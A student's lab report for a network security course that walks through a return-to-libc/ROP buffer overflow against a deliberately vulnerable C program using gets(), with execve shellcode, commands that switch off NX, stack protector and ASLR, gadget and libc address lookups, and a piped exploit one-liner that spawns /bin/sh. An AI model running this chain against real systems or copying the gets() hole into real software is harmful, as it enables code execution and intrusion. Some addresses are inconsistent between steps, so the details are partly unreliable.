Date: **15.03.2021**

Cryptography and Network Security

Extended Learning Assignment – 3

MK Tharumaseelan
2018103614 'Q'-Batch

Implementing Return oriented programming (ROP):

Return oriented programming is a technique of stack smashing where the attacker uses a chain of already present executable codes already present in process's memory. The executable code instructions are called gadgets. Each gadgets return to another gadget until the desired effect is achieved.

Our goal is to get the address of '/bin/sh' and load the return address of a victim program with this address, so that we **end up with a running shell.**

Shell Code:

The first step is to run the shell.c code. the string bin/sh is loaded in memory, and is executed by using the system call command, which executes what is in a certain register.

```
int main() {
                asm("\
                needle0:        jmp there\n\
                here:   pop %rdi\n\
                xor %rax, %rax\n\ movb $0x3b, %al\n\ xor %rsi, %rsi\n\ xor %rdx, %rdx\n\ syscall\n\
                there:  call here\n\
                .string \"/bin/sh\"\n\
                needle1: .octa 0xdeadbeef\n\ ");
}
```

we write our shellcode in a C file with inline assembly instructions. In our shellcode we need to find address of system() call within the libc. So that we can substitute the address of system() as our victim program's RET.

Victim Code:

```
#include<stdio.h>
void main(){
        char name[64];
        printf("%p\n",name); //prints the address of the buffer

        printf("ENTER YOUR NAME !!!:");
        gets(name);

        printf("Hello, %s!\n",name);

}
```

we write our victim code in also C. We place a buffer in our victim code which we can later exploit by causing a buffer overflow

we first begin by compiling our shell.c code with the following command:

gcc shell.c

Next we dump our program with objdump command to find the addresses in memory of our corresponding assembly code.

```
00000000000005fa <main>:
 5fa:   55                      push   %rbp
 5fb:   48 89 e5                mov    %rsp,%rbp

00000000000005fe <needle0>:
 5fe:   eb 0e                   jmp    60e <there>

0000000000000600 <here>:
 600:   5f                      pop    %rdi
 601:   48 31 c0                xor    %rax,%rax
 604:   b0 3b                   mov    $0x3b,%al
 606:   48 31 f6                xor    %rsi,%rsi
 609:   48 31 d2                xor    %rdx,%rdx
 60c:   0f 05                   syscall

000000000000060e <there>:
 60e:   e8 ed ff ff ff          callq  600 <here>
 613:   2f                      (bad)
 614:   62                      (bad)
 615:   69                      .byte 0x69
 616:   6e                      outsb  %ds:(%rsi),(%dx)
 617:   2f                      (bad)
 618:   73 68                   jae    682 <__libc_csu_init+0x42>
        ...
```

.....

```
 67f:   00
 680:   4c 89 fa                mov    %r15,%rdx
 683:   4c 89 f6                mov    %r14,%rsi
 686:   44 89 ef                mov    %r13d,%edi
 689:   41 ff 14 dc             callq  *(%r12,%rbx,8)
 68d:   48 83 c3 01             add    $0x1,%rbx
 691:   48 39 dd                cmp    %rbx,%rbp
 694:   75 ea                   jne    680 <__libc_csu_init+0x40>
 696:   48 83 c4 08             add    $0x8,%rsp
 69a:   5b                      pop    %rbx
 69b:   5d                      pop    %rbp
 69c:   41 5c                   pop    %r12
 69e:   41 5d                   pop    %r13
 6a0:   41 5e                   pop    %r14
 6a2:   41 5f                   pop    %r15
 6a4:   c3                      retq
 6a5:   90                      nop
 6a6:   66 2e 0f 1f 84 00 00    nopw   %cs:0x0(%rax,%rax,1)
 6ad:   00 00 00

00000000000006b0 <__libc_csu_fini>:
 6b0:   f3 c3                   repz retq

Disassembly of section .fini:

00000000000006b4 <_fini>:
 6b4:   48 83 ec 08             sub    $0x8,%rsp
 6b8:   48 83 c4 08             add    $0x8,%rsp
 6bc:   c3                      retq
root@LAPTOP-1JOUQ2RK:~/net_security# _
```

Now we can inject our malicious code in the victim code. However, to execute this technique we need to get around the stack smashing counter measures, **we tackle the following countermeasures:**

Executable space protection : marks regions in memory is non-executable such that no executable code can be stored and run there. We need to get away with this countermeasure because we need to inject the victim code with executable system call.

execstack -s victim

GCC Stack Smashing Protector(SSP) : is like a police in GCC compiler, which validates the integrity of stack with runtime checks and rearranges the stack layout to minimize the cost of buffer overflows. We need to get around this protector because during runtime we will be modifying the stack's integrity. To disable SSP we compile or victim file with the following command in Linux terminal:

gcc -fno-stack-protector -o victim victim.c

Address Space Layout Randomization: ASLR is a technique where the subroutine stack is randomized every run.

To disable ASLR we set the architecture of the previously generated victim object file with the flag –R. The following is the exact command:

setarch "$(arch)" -R ./victim

The arch is supposed to be process substitution, and that process is likely just going to output the architecture of the current computer.

Attack:

1. Finding address of instructions in libc we want to execute:

```
root@LAPTOP-1JOUQ2RK:~/net_security# ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 --only "pop|ret" | grep rdi
0x0000000000022203 : pop rdi ; pop rbp ; ret
0x00000000000215bf : pop rdi ; ret
0x000000000150e5d : pop rdi ; ret 0
```

0x00000000000215bf : pop rdi ; ret

2. In one terminal, run:

setarch "$(arch)" -R ./victim

```
root@LAPTOP-1JOUQ2RK:~/net_security# setarch "$(arch)" -R ./victim
0x7fffffffee0b0
ENTER YOUR NAME !!!:
```

Buffer address:**0x7fffffffee0b0**

3. In another terminal , run:

pid=`ps -C victim -o pid --no-headers | tr -d ' '

grep libc /proc/$pid/maps

```
root@LAPTOP-1JOUQ2RK:~/net_security# pid=`ps -C victim -o pid --no-headers | tr -d ' '`
root@LAPTOP-1JOUQ2RK:~/net_security# grep libc /proc/$pid/maps
7fffff000000-7fffff1e7000 r-xp 00000000 00:00 79736                      /lib/x86_64-linux-gnu/libc-2.27.so
7fffff1e7000-7fffff1f0000 ---p 001e7000 00:00 79736                      /lib/x86_64-linux-gnu/libc-2.27.so
7fffff1f0000-7fffff3e7000 ---p 001f0000 00:00 79736                      /lib/x86_64-linux-gnu/libc-2.27.so
7fffff3e7000-7fffff3eb000 r--p 001e7000 00:00 79736                      /lib/x86_64-linux-gnu/libc-2.27.so
7fffff3eb000-7fffff3ed000 rw-p 001eb000 00:00 79736                      /lib/x86_64-linux-gnu/libc-2.27.so
root@LAPTOP-1JOUQ2RK:~/net_security#
```

The above commands provide us with the address of libc for our current process. In my computer libc is loaded into memory starting at: 7fffff000000.
The address of the gadget is now 0x7fffff000000 + 0x215bf

Finally we need to find the location of system() function .this can be found by running the command:

nm -D /lib/x86_64-linux-gnu/libc.so.6 | grep '\<system\>'

```
root@LAPTOP-1JOUQ2RK:~/net_security# nm -D /lib/x86_64-linux-gnu/libc.so.6 | grep '\<system\>'
000000000004f550 W system
```

Now we have all the pieces to run our attack ,now we do this by giving the following command

4. Attack:

We overflow the buffer to start a shell. The xxd command creates a hexdump of the input file.

```
(echo -n /bin/sh | xxd -p; printf %0130d 0; printf %016x
$((0x7fffff000000+0x215bf)) |
 tac -rs..; printf %016x 0x7ffffffee0b0 |
 tac -rs..; printf %016x $((0x7fffff000000+0x4f550)) |
 tac -rs..) |
 xxd -r -p |
 setarch “$(arch)” -R ./victim
```

```
root@LAPTOP-1JOUQ2RK:~/net_security# (echo -n /bin/sh | xxd -p; printf %0130d 0; printf %016x $((0x7fffff000000+0x215bf)
) | tac -rs..; printf %016x 0x7fffffee0b0 | tac -rs..; printf %016x $((0x7fffff000000+0x4f550)) | tac -rs..) | xxd -r -
p | setarch "$(arch)" -R ./victim
0x7fffffee0b0
ENTER YOUR NAME !!!:Hello, /bin/sh!
Segmentation fault (core dumped)
root@LAPTOP-1JOUQ2RK:~/net_security# (echo -n /bin/sh | xxd -p; printf %0130d 0; printf %016x $((0x7fffff000000+0x215bf)
) | tac -rs..; printf %016x 0x7fffffee0b0 | tac -rs..; printf %016x $((0x7fffff000000+0x4f550)) | tac -rs..) | xxd -r -
p | setarch "$(arch)" -R ./victim
0x7fffffee0b0
ENTER YOUR NAME !!!:Hello, /bin/sh!
```

Hence attack is done!!!shell is running

Three countermeasures to Stack Smashing:

GCC Stack-Smashing Protector (SSP), the compiler rearranges the stack layout to make buffer overflows less dangerous and inserts runtime stack integrity checks
Executable space protection (NX): Attempting to execute code in the stack causes a segmentation fault. Address
Space Layout Randomization (ASLR): The location of the stack is randomized on every run of a program.